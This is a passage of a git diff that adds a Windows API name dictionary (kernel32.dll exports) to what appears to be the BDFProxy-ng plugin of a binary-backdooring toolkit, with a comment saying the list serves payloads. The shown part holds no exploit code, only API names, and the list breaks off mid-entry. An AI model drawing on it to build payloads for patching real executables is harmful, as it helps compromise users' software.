+pip install --upgrade pefile diff --git a/Plugins/BDFProxy-ng/bdf/winapi/__init__.py b/Plugins/BDFProxy-ng/bdf/winapi/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Plugins/BDFProxy-ng/bdf/winapi/winapi.py b/Plugins/BDFProxy-ng/bdf/winapi/winapi.py new file mode 100644 index 0000000..c3d65d5 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/winapi/winapi.py @@ -0,0 +1,2395 @@ +''' +Copyright (c) 2013-2015, Joshua Pitts +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +''' + +''' +This is the start of a super dict of winapis. I will add them as needed +for payloads. +''' + +winapi = { + 'kernel32.dll': ['AcquireSRWLockExclusive', + 'AcquireSRWLockShared', + 'ActivateActCtx', + 'AddAtomA', + 'AddAtomW', + 'AddConsoleAliasA', + 'AddConsoleAliasW', + 'AddDllDirectory', + 'AddIntegrityLabelToBoundaryDescriptor', + 'AddLocalAlternateComputerNameA', + 'AddLocalAlternateComputerNameW', + 'AddRefActCtx', + 'AddSIDToBoundaryDescriptor', + 'AddSecureMemoryCacheCallback', + 'AddVectoredContinueHandler', + 'AddVectoredExceptionHandler', + 'AdjustCalendarDate', + 'AllocConsole', + 'AllocateUserPhysicalPages', + 'AllocateUserPhysicalPagesNuma', + 'ApplicationRecoveryFinished', + 'ApplicationRecoveryInProgress', + 'AreFileApisANSI', + 'AssignProcessToJobObject', + 'AttachConsole', + 'BackupRead', + 'BackupSeek', + 'BackupWrite', + 'BaseCheckAppcompatCache', + 'BaseCheckAppcompatCacheEx', + 'BaseCheckRunApp', + 'BaseCleanupAppcompatCacheSupport', + 'BaseDllReadWriteIniFile', + 'BaseDumpAppcompatCache', + 'BaseFlushAppcompatCache', + 'BaseFormatObjectAttributes', + 'BaseFormatTimeOut', + 'BaseGenerateAppCompatData', + 'BaseGetNamedObjectDirectory', + 'BaseInitAppcompatCacheSupport', + 'BaseIsAppcompatInfrastructureDisabled', + 'BaseQueryModuleData', + 'BaseSetLastNTError', + 'BaseThreadInitThunk', + 'BaseUpdateAppcompatCache', + 'BaseVerifyUnicodeString', + 'Basep8BitStringToDynamicUnicodeString', + 'BasepAllocateActivationContextActivationBlock', + 'BasepAnsiStringToDynamicUnicodeString', + 'BasepCheckAppCompat', + 'BasepCheckBadapp', + 'BasepCheckWinSaferRestrictions', + 'BasepFreeActivationContextActivationBlock', + 'BasepFreeAppCompatData', + 'BasepMapModuleHandle', + 'Beep', + 'BeginUpdateResourceA', + 'BeginUpdateResourceW', + 'BindIoCompletionCallback', + 'BuildCommDCBA', + 'BuildCommDCBAndTimeoutsA', + 'BuildCommDCBAndTimeoutsW', + 'BuildCommDCBW', + 'CallNamedPipeA', + 'CallNamedPipeW', + 'CallbackMayRunLong', + 'CancelDeviceWakeupRequest', + 'CancelIo', + 'CancelIoEx', + 'CancelSynchronousIo', + 'CancelThreadpoolIo', + 'CancelTimerQueueTimer', + 'CancelWaitableTimer', + 'ChangeTimerQueueTimer', + 'CheckElevation', + 'CheckElevationEnabled', + 'CheckForReadOnlyResource', + 'CheckNameLegalDOS8Dot3A', + 'CheckNameLegalDOS8Dot3W', + 'CheckRemoteDebuggerPresent', + 'ClearCommBreak', + 'ClearCommError', + 'CloseConsoleHandle', + 'CloseHandle', + 'ClosePrivateNamespace', + 'CloseProfileUserMapping', + 'CloseThreadpool', + 'CloseThreadpoolCleanupGroup', + 'CloseThreadpoolCleanupGroupMembers', + 'CloseThreadpoolIo', + 'CloseThreadpoolTimer', + 'CloseThreadpoolWait', + 'CloseThreadpoolWork', + 'CmdBatNotification', + 'CommConfigDialogA', + 'CommConfigDialogW', + 'CompareCalendarDates', + 'CompareFileTime', + 'CompareStringA', + 'CompareStringEx', + 'CompareStringOrdinal', + 'CompareStringW', + 'ConnectNamedPipe', + 'ConsoleMenuControl', + 'ContinueDebugEvent', + 'ConvertCalDateTimeToSystemTime', + 'ConvertDefaultLocale', + 'ConvertFiberToThread', + 'ConvertNLSDayOfWeekToWin32DayOfWeek', + 'ConvertSystemTimeToCalDateTime', + 'ConvertThreadToFiber', + 'ConvertThreadToFiberEx', + 'CopyContext', + 'CopyFileA', + 'CopyFileExA', + 'CopyFileExW', + 'CopyFileTransactedA', + 'CopyFileTransactedW', + 'CopyFileW', + 'CopyLZFile', + 'CreateActCtxA', + 'CreateActCtxW', + 'CreateBoundaryDescriptorA', + 'CreateBoundaryDescriptorW', + 'CreateConsoleScreenBuffer', + 'CreateDirectoryA', + 'CreateDirectoryExA', + 'CreateDirectoryExW', + 'CreateDirectoryTransactedA', + 'CreateDirectoryTransactedW', + 'CreateDirectoryW', + 'CreateEventA', + 'CreateEventExA', + 'CreateEventExW', + 'CreateEventW', + 'CreateFiber', + 'CreateFiberEx', + 'CreateFileA', + 'CreateFileMappingA', + 'CreateFileMappingNumaA', + 'CreateFileMappingNumaW', + 'CreateFileMappingW', + 'CreateFileTransactedA', + 'CreateFileTransactedW', + 'CreateFileW', + 'CreateHardLinkA', + 'CreateHardLinkTransactedA', + 'CreateHardLinkTransactedW', + 'CreateHardLinkW', + 'CreateIoCompletionPort', + 'CreateJobObjectA', + 'CreateJobObjectW', + 'CreateJobSet', + 'CreateMailslotA', + 'CreateMailslotW', + 'CreateMemoryResourceNotification', + 'CreateMutexA', + 'CreateMutexExA', + 'CreateMutexExW', + 'CreateMutexW', + 'CreateNamedPipeA', + 'CreateNamedPipeW', + 'CreatePipe', + 'CreatePrivateNamespaceA', + 'CreatePrivateNamespaceW', + 'CreateProcessA', + 'CreateProcessAsUserW', + 'CreateProcessInternalA', + 'CreateProcessInternalW', + 'CreateProcessW', + 'CreateRemoteThread', + 'CreateRemoteThreadEx', + 'CreateSemaphoreA', + 'CreateSemaphoreExA', + 'CreateSemaphoreExW', + 'CreateSemaphoreW', + 'CreateSocketHandle', + 'CreateSymbolicLinkA', + 'CreateSymbolicLinkTransactedA', + 'CreateSymbolicLinkTransactedW', + 'CreateSymbolicLinkW', + 'CreateTapePartition', + 'CreateThread', + 'CreateThreadpool', + 'CreateThreadpoolCleanupGroup', + 'CreateThreadpoolIo', + 'CreateThreadpoolTimer', + 'CreateThreadpoolWait', + 'CreateThreadpoolWork', + 'CreateTimerQueue', + 'CreateTimerQueueTimer', + 'CreateToolhelp32Snapshot', + 'CreateWaitableTimerA', + 'CreateWaitableTimerExA', + 'CreateWaitableTimerExW', + 'CreateWaitableTimerW', + 'CtrlRoutine', + 'DeactivateActCtx', + 'DebugActiveProcess', + 'DebugActiveProcessStop', + 'DebugBreak', + 'DebugBreakProcess', + 'DebugSetProcessKillOnExit', + 'DecodePointer', + 'DecodeSystemPointer', + 'DefineDosDeviceA', + 'DefineDosDeviceW', + 'DelayLoadFailureHook', + 'DeleteAtom', + 'DeleteBoundaryDescriptor', + 'DeleteCriticalSection', + 'DeleteFiber', + 'DeleteFileA', + 'DeleteFileTransactedA', + 'DeleteFileTransactedW', + 'DeleteFileW', + 'DeleteProcThreadAttributeList', + 'DeleteTimerQueue', + 'DeleteTimerQueueEx', + 'DeleteTimerQueueTimer', + 'DeleteVolumeMountPointA', + 'DeleteVolumeMountPointW', + 'DeviceIoControl', + 'DisableThreadLibraryCalls', + 'DisableThreadProfiling', + 'DisassociateCurrentThreadFromCallback', + 'DisconnectNamedPipe', + 'DnsHostnameToComputerNameA', + 'DnsHostnameToComputerNameW', + 'DosDateTimeToFileTime', + 'DosPathToSessionPathA', + 'DosPathToSessionPathW', + 'DuplicateConsoleHandle', + 'DuplicateHandle', + 'EnableThreadProfiling', + 'EncodePointer', + 'EncodeSystemPointer', + 'EndUpdateResourceA', + 'EndUpdateResourceW', + 'EnterCriticalSection', + 'EnumCalendarInfoA', + 'EnumCalendarInfoExA', + 'EnumCalendarInfoExEx', + 'EnumCalendarInfoExW', + 'EnumCalendarInfoW', + 'EnumDateFormatsA', + 'EnumDateFormatsExA', + 'EnumDateFormatsExEx', + 'EnumDateFormatsExW', + 'EnumDateFormatsW', + 'EnumLanguageGroupLocalesA', + 'EnumLanguageGroupLocalesW', + 'EnumResourceLanguagesA', + 'EnumResourceLanguagesExA', + 'EnumResourceLanguagesExW', + 'EnumResourceLanguagesW', + 'EnumResourceNamesA', + 'EnumResourceNamesExA', + 'EnumResourceNamesExW', + 'EnumResourceNamesW', + 'EnumResourceTypesA', + 'EnumResourceTypesExA', + 'EnumResourceTypesExW', + 'EnumResourceTypesW', + 'EnumSystemCodePagesA', + 'EnumSystemCodePagesW', + 'EnumSystemFirmwareTables', + 'EnumSystemGeoID', + 'EnumSystemLanguageGroupsA', + 'EnumSystemLanguageGroupsW', + 'EnumSystemLocalesA', + 'EnumSystemLocalesEx', + 'EnumSystemLocalesW', + 'EnumTimeFormatsA', + 'EnumTimeFormatsEx', + 'EnumTimeFormatsW', + 'EnumUILanguagesA', + 'EnumUILanguagesW', + 'EnumerateLocalComputerNamesA', + 'EnumerateLocalComputerNamesW', + 'EraseTape', + 'EscapeCommFunction', + 'ExitProcess', + 'ExitThread', + 'ExitVDM', + 'ExpandEnvironmentStringsA', + 'ExpandEnvironmentStringsW', + 'ExpungeConsoleCommandHistoryA', + 'ExpungeConsoleCommandHistoryW', + 'FatalAppExitA', + 'FatalAppExitW', + 'FatalExit', + 'FileTimeToDosDateTime', + 'FileTimeToLocalFileTime', + 'FileTimeToSystemTime', + 'FillConsoleOutputAttribute', + 'FillConsoleOutputCharacterA', + 'FillConsoleOutputCharacterW', + 'FindActCtxSectionGuid', + 'FindActCtxSectionStringA', + 'FindActCtxSectionStringW', + 'FindAtomA', + 'FindAtomW', + 'FindClose', + 'FindCloseChangeNotification', + 'FindFirstChangeNotificationA', + 'FindFirstChangeNotificationW', + 'FindFirstFileA', + 'FindFirstFileExA', + 'FindFirstFileExW', + 'FindFirstFileNameTransactedW', + 'FindFirstFileNameW', + 'FindFirstFileTransactedA', + 'FindFirstFileTransactedW', + 'FindFirstFileW', + 'FindFirstStreamTransactedW', + 'FindFirstStreamW', + 'FindFirstVolumeA', + 'FindFirstVolumeMountPointA', + 'FindFirstVolumeMountPointW', + 'FindFirstVolumeW', + 'FindNLSString', + 'FindNLSStringEx', + 'FindNextChangeNotification', + 'FindNextFileA', + 'FindNextFileNameW', + 'FindNextFileW', + 'FindNextStreamW', + 'FindNextVolumeA', + 'FindNextVolumeMountPointA', + 'FindNextVolumeMountPointW', + 'FindNextVolumeW', + 'FindResourceA', + 'FindResourceExA', + 'FindResourceExW', + 'FindResourceW', + 'FindStringOrdinal', + 'FindVolumeClose', + 'FindVolumeMountPointClose', + 'FlsAlloc', + 'FlsFree', + 'FlsGetValue', + 'FlsSetValue', + 'FlushConsoleInputBuffer', + 'FlushFileBuffers', + 'FlushInstructionCache', + 'FlushProcessWriteBuffers', + 'FlushViewOfFile', + 'FoldStringA', + 'FoldStringW', + 'FormatMessageA', + 'FormatMessageW', + 'FreeConsole', + 'FreeEnvironmentStringsA', + 'FreeEnvironmentStringsW', + 'FreeLibrary', + 'FreeLibraryAndExitThread', + 'FreeLibraryWhenCallbackReturns', + 'FreeResource', + 'FreeUserPhysicalPages', + 'GenerateConsoleCtrlEvent', + 'GetACP', + 'GetActiveProcessorCount', + 'GetActiveProcessorGroupCount', + 'GetApplicationRecoveryCallback', + 'GetApplicationRestartSettings', + 'GetAtomNameA', + 'GetAtomNameW', + 'GetBinaryType', + 'GetBinaryTypeA', + 'GetBinaryTypeW', + 'GetCPInfo', + 'GetCPInfoExA', + 'GetCPInfoExW', + 'GetCalendarDateFormat', + 'GetCalendarDateFormatEx', + 'GetCalendarDaysInMonth', + 'GetCalendarDifferenceInDays', + 'GetCalendarInfoA', + 'GetCalendarInfoEx', + 'GetCalendarInfoW', + 'GetCalendarMonthsInYear', + 'GetCalendarSupportedDateRange', + 'GetCalendarWeekNumber', + 'GetComPlusPackageInstallStatus', + 'GetCommConfig', + 'GetCommMask', + 'GetCommModemStatus', + 'GetCommProperties', + 'GetCommState', + 'GetCommTimeouts', + 'GetCommandLineA', + 'GetCommandLineW', + 'GetCompressedFileSizeA', + 'GetCompressedFileSizeTransactedA', + 'GetCompressedFileSizeTransactedW', + 'GetCompressedFileSizeW', + 'GetComputerNameA', + 'GetComputerNameExA', + 'GetComputerNameExW', + 'GetComputerNameW', + 'GetConsoleAliasA', + 'GetConsoleAliasExesA', + 'GetConsoleAliasExesLengthA', + 'GetConsoleAliasExesLengthW', + 'GetConsoleAliasExesW', + 'GetConsoleAliasW', + 'GetConsoleAliasesA', + 'GetConsoleAliasesLengthA', + 'GetConsoleAliasesLengthW', + 'GetConsoleAliasesW', + 'GetConsoleCP', + 'GetConsoleCharType', + 'GetConsoleCommandHistoryA', + 'GetConsoleCommandHistoryLengthA', + 'GetConsoleCommandHistoryLengthW', + 'GetConsoleCommandHistoryW', + 'GetConsoleCursorInfo', + 'GetConsoleCursorMode', + 'GetConsoleDisplayMode', + 'GetConsoleFontInfo', + 'GetConsoleFontSize', + 'GetConsoleHardwareState', + 'GetConsoleHistoryInfo', + 'GetConsoleInputExeNameA', + 'GetConsoleInputExeNameW', + 'GetConsoleInputWaitHandle', + 'GetConsoleKeyboardLayoutNameA', + 'GetConsoleKeyboardLayoutNameW', + 'GetConsoleMode', + 'GetConsoleNlsMode', + 'GetConsoleOriginalTitleA', + 'GetConsoleOriginalTitleW', + 'GetConsoleOutputCP', + 'GetConsoleProcessList', + 'GetConsoleScreenBufferInfo', + 'GetConsoleScreenBufferInfoEx', + 'GetConsoleSelectionInfo', + 'GetConsoleTitleA', + 'GetConsoleTitleW', + 'GetConsoleWindow', + 'GetCurrencyFormatA', + 'GetCurrencyFormatEx', + 'GetCurrencyFormatW', + 'GetCurrentActCtx', + 'GetCurrentConsoleFont', + 'GetCurrentConsoleFontEx', + 'GetCurrentDirectoryA', + 'GetCurrentDirectoryW', + 'GetCurrentProcess', + 'GetCurrentProcessId', + 'GetCurrentProcessorNumber', + 'GetCurrentProcessorNumberEx', + 'GetCurrentThread', + 'GetCurrentThreadId', + 'GetDateFormatA', + 'GetDateFormatEx', + 'GetDateFormatW', + 'GetDefaultCommConfigA', + 'GetDefaultCommConfigW', + 'GetDevicePowerState', + 'GetDiskFreeSpaceA', + 'GetDiskFreeSpaceExA', + 'GetDiskFreeSpaceExW', + 'GetDiskFreeSpaceW', + 'GetDllDirectoryA', + 'GetDllDirectoryW', + 'GetDriveTypeA', + 'GetDriveTypeW', + 'GetDurationFormat', + 'GetDurationFormatEx', + 'GetDynamicTimeZoneInformation', + 'GetEnabledXStateFeatures', + 'GetEnvironmentStrings', + 'GetEnvironmentStringsA', + 'GetEnvironmentStringsW', + 'GetEnvironmentVariableA', + 'GetEnvironmentVariableW', + 'GetEraNameCountedString', + 'GetErrorMode', + 'GetExitCodeProcess', + 'GetExitCodeThread', + 'GetExpandedNameA', + 'GetExpandedNameW', + 'GetFileAttributesA', + 'GetFileAttributesExA', + 'GetFileAttributesExW', + 'GetFileAttributesTransactedA', + 'GetFileAttributesTransactedW', + 'GetFileAttributesW', + 'GetFileBandwidthReservation', + 'GetFileInformationByHandle', + 'GetFileInformationByHandleEx', + 'GetFileMUIInfo', + 'GetFileMUIPath', + 'GetFileSize', + 'GetFileSizeEx', + 'GetFileTime', + 'GetFileType', + 'GetFinalPathNameByHandleA', + 'GetFinalPathNameByHandleW', + 'GetFirmwareEnvironmentVariableA', + 'GetFirmwareEnvironmentVariableW', + 'GetFullPathNameA', + 'GetFullPathNameTransactedA', + 'GetFullPathNameTransactedW', + 'GetFullPathNameW', + 'GetGeoInfoA', + 'GetGeoInfoW', + 'GetHandleContext', + 'GetHandleInformation', + 'GetLargePageMinimum', + 'GetLargestConsoleWindowSize', + 'GetLastError', + 'GetLocalTime', + 'GetLocaleInfoA', + 'GetLocaleInfoEx', + 'GetLocaleInfoW', + 'GetLogicalDriveStringsA', + 'GetLogicalDriveStringsW', + 'GetLogicalDrives', + 'GetLogicalProcessorInformation', + 'GetLogicalProcessorInformationEx', + 'GetLongPathNameA', + 'GetLongPathNameTransactedA', + 'GetLongPathNameTransactedW', + 'GetLongPathNameW', + 'GetMailslotInfo', + 'GetMaximumProcessorCount', + 'GetMaximumProcessorGroupCount', + 'GetModuleFileNameA', + 'GetModuleFileNameW', + 'GetModuleHandleA', + 'GetModuleHandleExA', + 'GetModuleHandleExW', + 'GetModuleHandleW', + 'GetNLSVersion', + 'GetNLSVersionEx', + 'GetNamedPipeAttribute', + 'GetNamedPipeClientComputerNameA', + 'GetNamedPipeClientComputerNameW', + 'GetNamedPipeClientProcessId', + 'GetNamedPipeClientSessionId', + 'GetNamedPipeHandleStateA', + 'GetNamedPipeHandleStateW', + 'GetNamedPipeInfo', + 'GetNamedPipeServerProcessId', + 'GetNamedPipeServerSessionId', + 'GetNativeSystemInfo', + 'GetNextVDMCommand', + 'GetNumaAvailableMemoryNode', + 'GetNumaAvailableMemoryNodeEx', + 'GetNumaHighestNodeNumber', + 'GetNumaNodeNumberFromHandle', + 'GetNumaNodeProcessorMask', + 'GetNumaNodeProcessorMaskEx', + 'GetNumaProcessorNode', + 'GetNumaProcessorNodeEx', + 'GetNumaProximityNode', + 'GetNumaProximityNodeEx', + 'GetNumberFormatA', + 'GetNumberFormatEx', + 'GetNumberFormatW', + 'GetNumberOfConsoleFonts', + 'GetNumberOfConsoleInputEvents', + 'GetNumberOfConsoleMouseButtons', + 'GetOEMCP', + 'GetOverlappedResult', + 'GetPhysicallyInstalledSystemMemory', + 'GetPriorityClass', + 'GetPrivateProfileIntA', + 'GetPrivateProfileIntW', + 'GetPrivateProfileSectionA', + 'GetPrivateProfileSectionNamesA', + 'GetPrivateProfileSectionNamesW', + 'GetPrivateProfileSectionW', + 'GetPrivateProfileStringA', + 'GetPrivateProfileStringW', + 'GetPrivateProfileStructA', + 'GetPrivateProfileStructW', + 'GetProcAddress', + 'GetProcessAffinityMask', + 'GetProcessDEPPolicy', + 'GetProcessGroupAffinity', + 'GetProcessHandleCount', + 'GetProcessHeap', + 'GetProcessHeaps', + 'GetProcessId', + 'GetProcessIdOfThread', + 'GetProcessIoCounters', + 'GetProcessPreferredUILanguages', + 'GetProcessPriorityBoost', + 'GetProcessShutdownParameters', + 'GetProcessTimes', + 'GetProcessUserModeExceptionPolicy', + 'GetProcessVersion', + 'GetProcessWorkingSetSize', + 'GetProcessWorkingSetSizeEx', + 'GetProcessorSystemCycleTime', + 'GetProductInfo', + 'GetProfileIntA', + 'GetProfileIntW', + 'GetProfileSectionA', + 'GetProfileSectionW', + 'GetProfileStringA', + 'GetProfileStringW', + 'GetQueuedCompletionStatus', + 'GetQueuedCompletionStatusEx', + 'GetShortPathNameA', + 'GetShortPathNameW', + 'GetStartupInfoA', + 'GetStartupInfoW', + 'GetStdHandle', + 'GetStringScripts', + 'GetStringTypeA', + 'GetStringTypeExA', + 'GetStringTypeExW', + 'GetStringTypeW', + 'GetSystemDEPPolicy', + 'GetSystemDefaultLCID', + 'GetSystemDefaultLangID', + 'GetSystemDefaultLocaleName', + 'GetSystemDefaultUILanguage', + 'GetSystemDirectoryA', + 'GetSystemDirectoryW', + 'GetSystemFileCacheSize', + 'GetSystemFirmwareTable', + 'GetSystemInfo', + 'GetSystemPowerStatus', + 'GetSystemPreferredUILanguages', + 'GetSystemRegistryQuota', + 'GetSystemTime', + 'GetSystemTimeAdjustment', + 'GetSystemTimeAsFileTime', + 'GetSystemTimes', + 'GetSystemWindowsDirectoryA', + 'GetSystemWindowsDirectoryW', + 'GetSystemWow64DirectoryA', + 'GetSystemWow64DirectoryW', + 'GetTapeParameters', + 'GetTapePosition', + 'GetTapeStatus', + 'GetTempFileNameA', + 'GetTempFileNameW', + 'GetTempPathA', + 'GetTempPathW', + 'GetThreadContext', + 'GetThreadErrorMode', + 'GetThreadGroupAffinity', + 'GetThreadIOPendingFlag', + 'GetThreadId', + 'GetThreadIdealProcessorEx', + 'GetThreadLocale', + 'GetThreadPreferredUILanguages', + 'GetThreadPriority', + 'GetThreadPriorityBoost', + 'GetThreadSelectorEntry', + 'GetThreadTimes', + 'GetThreadUILanguage', + 'GetTickCount', + 'GetTickCount64', + 'GetTimeFormatA', + 'GetTimeFormatEx', + 'GetTimeFormatW', + 'GetTimeZoneInformation', + 'GetTimeZoneInformationForYear', + 'GetUILanguageInfo', + 'GetUserDefaultLCID', + 'GetUserDefaultLangID', + 'GetUserDefaultLocaleName', + 'GetUserDefaultUILanguage', + 'GetUserGeoID', + 'GetUserPreferredUILanguages', + 'GetVDMCurrentDirectories', + 'GetVersion', + 'GetVersionExA', + 'GetVersionExW', + 'GetVolumeInformationA', + 'GetVolumeInformationByHandleW', + 'GetVolumeInformationW', + 'GetVolumeNameForVolumeMountPointA', + 'GetVolumeNameForVolumeMountPointW', + 'GetVolumePathNameA', + 'GetVolumePathNameW', + 'GetVolumePathNamesForVolumeNameA', + 'GetVolumePathNamesForVolumeNameW', + 'GetWindowsDirectoryA', + 'GetWindowsDirectoryW', + 'GetWriteWatch', + 'GetXStateFeaturesMask', + 'GlobalAddAtomA', + 'GlobalAddAtomW', + 'GlobalAlloc', + 'GlobalCompact', + 'GlobalDeleteAtom', + 'GlobalFindAtomA', + 'GlobalFindAtomW', + 'GlobalFix', + 'GlobalFlags', + 'GlobalFree', + 'GlobalGetAtomNameA', + 'GlobalGetAtomNameW', + 'GlobalHandle', + 'GlobalLock', + 'GlobalMemoryStatus', + 'GlobalMemoryStatusEx', + 'GlobalReAlloc', + 'GlobalSize', + 'GlobalUnWire', + 'GlobalUnfix', + 'GlobalUnlock', + 'GlobalWire', + 'Heap32First', + 'Heap32ListFirst', + 'Heap32ListNext', + 'Heap32Next', + 'HeapAlloc', + 'HeapCompact', + 'HeapCreate', + 'HeapDestroy', + 'HeapFree', + 'HeapLock', + 'HeapQueryInformation', + 'HeapReAlloc', + 'HeapSetInformation', + 'HeapSize', + 'HeapSummary', + 'HeapUnlock', + 'HeapValidate', + 'HeapWalk', + 'IdnToAscii', + 'IdnToNameprepUnicode', + 'IdnToUnicode', + 'InitAtomTable', + 'InitOnceBeginInitialize', + 'InitOnceComplete', + 'InitOnceExecuteOnce', + 'InitOnceInitialize', + 'InitializeConditionVariable', + 'InitializeContext', + 'InitializeCriticalSection', + 'InitializeCriticalSectionAndSpinCount', + 'InitializeCriticalSectionEx', + 'InitializeProcThreadAttributeList', + 'InitializeSListHead', + 'InitializeSRWLock', + 'InterlockedCompareExchange', + 'InterlockedCompareExchange64', + 'InterlockedDecrement', + 'InterlockedExchange', + 'InterlockedExchangeAdd', + 'InterlockedFlushSList', + 'InterlockedIncrement', + 'InterlockedPopEntrySList', + 'InterlockedPushEntrySList', + 'InterlockedPushListSList', + 'InvalidateConsoleDIBits', + 'IsBadCodePtr', + 'IsBadHugeReadPtr', + 'IsBadHugeWritePtr', + 'IsBadReadPtr', + 'IsBadStringPtrA', + 'IsBadStringPtrW', + 'IsBadWritePtr', + 'IsCalendarLeapDay', + 'IsCalendarLeapMonth', + 'IsCalendarLeapYear', + 'IsDBCSLeadByte', + 'IsDBCSLeadByteEx', + 'IsDebuggerPresent', + 'IsNLSDefinedString', + 'IsNormalizedString', + 'IsProcessInJob', + 'IsProcessorFeaturePresent', + 'IsSystemResumeAutomatic', + 'IsThreadAFiber', + 'IsThreadpoolTimerSet', + 'IsTimeZoneRedirectionEnabled', + 'IsValidCalDateTime', + 'IsValidCodePage', + 'IsValidLanguageGroup', + 'IsValidLocale', + 'IsValidLocaleName', + 'IsWow64Process', + 'K32EmptyWorkingSet', + 'K32EnumDeviceDrivers', + 'K32EnumPageFilesA', + 'K32EnumPageFilesW', + 'K32EnumProcessModules', + 'K32EnumProcessModulesEx', + 'K32EnumProcesses', + 'K32GetDeviceDriverBaseNameA', + 'K32GetDeviceDriverBaseNameW', + 'K32GetDeviceDriverFileNameA', + 'K32GetDeviceDriverFileNameW', + 'K32GetMappedFileNameA', + 'K32GetMappedFileNameW', + 'K32GetModuleBaseNameA', + 'K32GetModuleBaseNameW', + 'K32GetModuleFileNameExA', + 'K32GetModuleFileNameExW', + 'K32GetModuleInformation', + 'K32GetPerformanceInfo', + 'K32GetProcessImageFileNameA', + 'K32GetProcessImageFileNameW', + 'K32GetProcessMemoryInfo', + 'K32GetWsChanges', + 'K32GetWsChangesEx', + 'K32InitializeProcessForWsWatch', + 'K32QueryWorkingSet', + 'K32QueryWorkingSetEx', + 'LCIDToLocaleName', + 'LCMapStringA', + 'LCMapStringEx', + 'LCMapStringW', + 'LZClose', + 'LZCloseFile', + 'LZCopy', + 'LZCreateFileW', + 'LZDone', + 'LZInit', + 'LZOpenFileA', + 'LZOpenFileW', + 'LZRead', + 'LZSeek', + 'LZStart', + 'LeaveCriticalSection', + 'LeaveCriticalSectionWhenCallbackReturns', + 'LoadAppInitDlls', + 'LoadLibraryA', + 'LoadLibraryExA', + 'LoadLibraryExW', + 'LoadLibraryW', + 'LoadModule', + 'LoadResource', + 'LoadStringBaseExW', + 'LoadStringBaseW', + 'LocalAlloc', + 'LocalCompact', + 'LocalFileTimeToFileTime', + 'LocalFlags', + 'LocalFree', + 'LocalHandle', + 'LocalLock', + 'LocalReAlloc', + 'LocalShrink', + 'LocalSize', + 'LocalUnlock', + 'LocaleNameToLCID', + 'LocateXStateFeature', + 'LockFile', + 'LockFileEx', + 'LockResource', + 'MapUserPhysicalPages', + 'MapUserPhysicalPagesScatter', + 'MapViewOfFile', + 'MapViewOfFileEx', + 'MapViewOfFileExNuma', + 'Module32First', + 'Module32FirstW', + 'Module32Next', + 'Module32NextW', + 'MoveFileA', + 'MoveFileExA', + 'MoveFileExW', + 'MoveFileTransactedA', + 'MoveFileTransactedW', + 'MoveFileW', + 'MoveFileWithProgressA', + 'MoveFileWithProgressW', + 'MulDiv', + 'MultiByteToWideChar', + 'NeedCurrentDirectoryForExePathA', + 'NeedCurrentDirectoryForExePathW', + 'NlsCheckPolicy', + 'NlsEventDataDescCreate', + 'NlsGetCacheUpdateCount', + 'NlsUpdateLocale', + 'NlsUpdateSystemLocale', + 'NlsWriteEtwEvent', + 'NormalizeString', + 'NotifyMountMgr', + 'NotifyUILanguageChange', + 'OpenConsoleW', + 'OpenEventA', + 'OpenEventW', + 'OpenFile', + 'OpenFileById', + 'OpenFileMappingA', + 'OpenFileMappingW', + 'OpenJobObjectA', + 'OpenJobObjectW', + 'OpenMutexA', + 'OpenMutexW', + 'OpenPrivateNamespaceA', + 'OpenPrivateNamespaceW', + 'OpenProcess', + 'OpenProcessToken', + 'OpenProfileUserMapping', + 'OpenSemaphoreA', + 'OpenSemaphoreW', + 'OpenThread', + 'OpenThreadToken', + 'OpenWaitableTimerA', + 'OpenWaitableTimerW', + 'OutputDebugStringA', + 'OutputDebugStringW', + 'PeekConsoleInputA', + 'PeekConsoleInputW', + 'PeekNamedPipe', + 'PostQueuedCompletionStatus', + 'PowerClearRequest', + 'PowerCreateRequest', + 'PowerSetRequest', + 'PrepareTape', + 'PrivCopyFileExW', + 'PrivMoveFileIdentityW', + 'Process32First', + 'Process32FirstW', + 'Process32Next', + 'Process32NextW', + 'ProcessIdToSessionId', + 'PulseEvent', + 'PurgeComm', + 'QueryActCtxSettingsW', + 'QueryActCtxW', + 'QueryDepthSList', + 'QueryDosDeviceA', + 'QueryDosDeviceW', + 'QueryFullProcessImageNameA', + 'QueryFullProcessImageNameW', + 'QueryIdleProcessorCycleTime', + 'QueryIdleProcessorCycleTimeEx', + 'QueryInformationJobObject', + 'QueryMemoryResourceNotification', + 'QueryPerformanceCounter', + 'QueryPerformanceFrequency', + 'QueryProcessAffinityUpdateMode', + 'QueryProcessCycleTime', + 'QueryThreadCycleTime', + 'QueryThreadProfiling', + 'QueryThreadpoolStackInformation', + 'QueryUnbiasedInterruptTime', + 'QueueUserAPC', + 'QueueUserWorkItem', + 'RaiseException', + 'RaiseFailFastException', + 'ReOpenFile', + 'ReadConsoleA', + 'ReadConsoleInputA', + 'ReadConsoleInputExA', + 'ReadConsoleInputExW', + 'ReadConsoleInputW', + 'ReadConsoleOutputA', + 'ReadConsoleOutputAttribute', + 'ReadConsoleOutputCharacterA', + 'ReadConsoleOutputCharacterW', + 'ReadConsoleOutputW', + 'ReadConsoleW', + 'ReadDirectoryChangesW', + 'ReadFile', + 'ReadFileEx', + 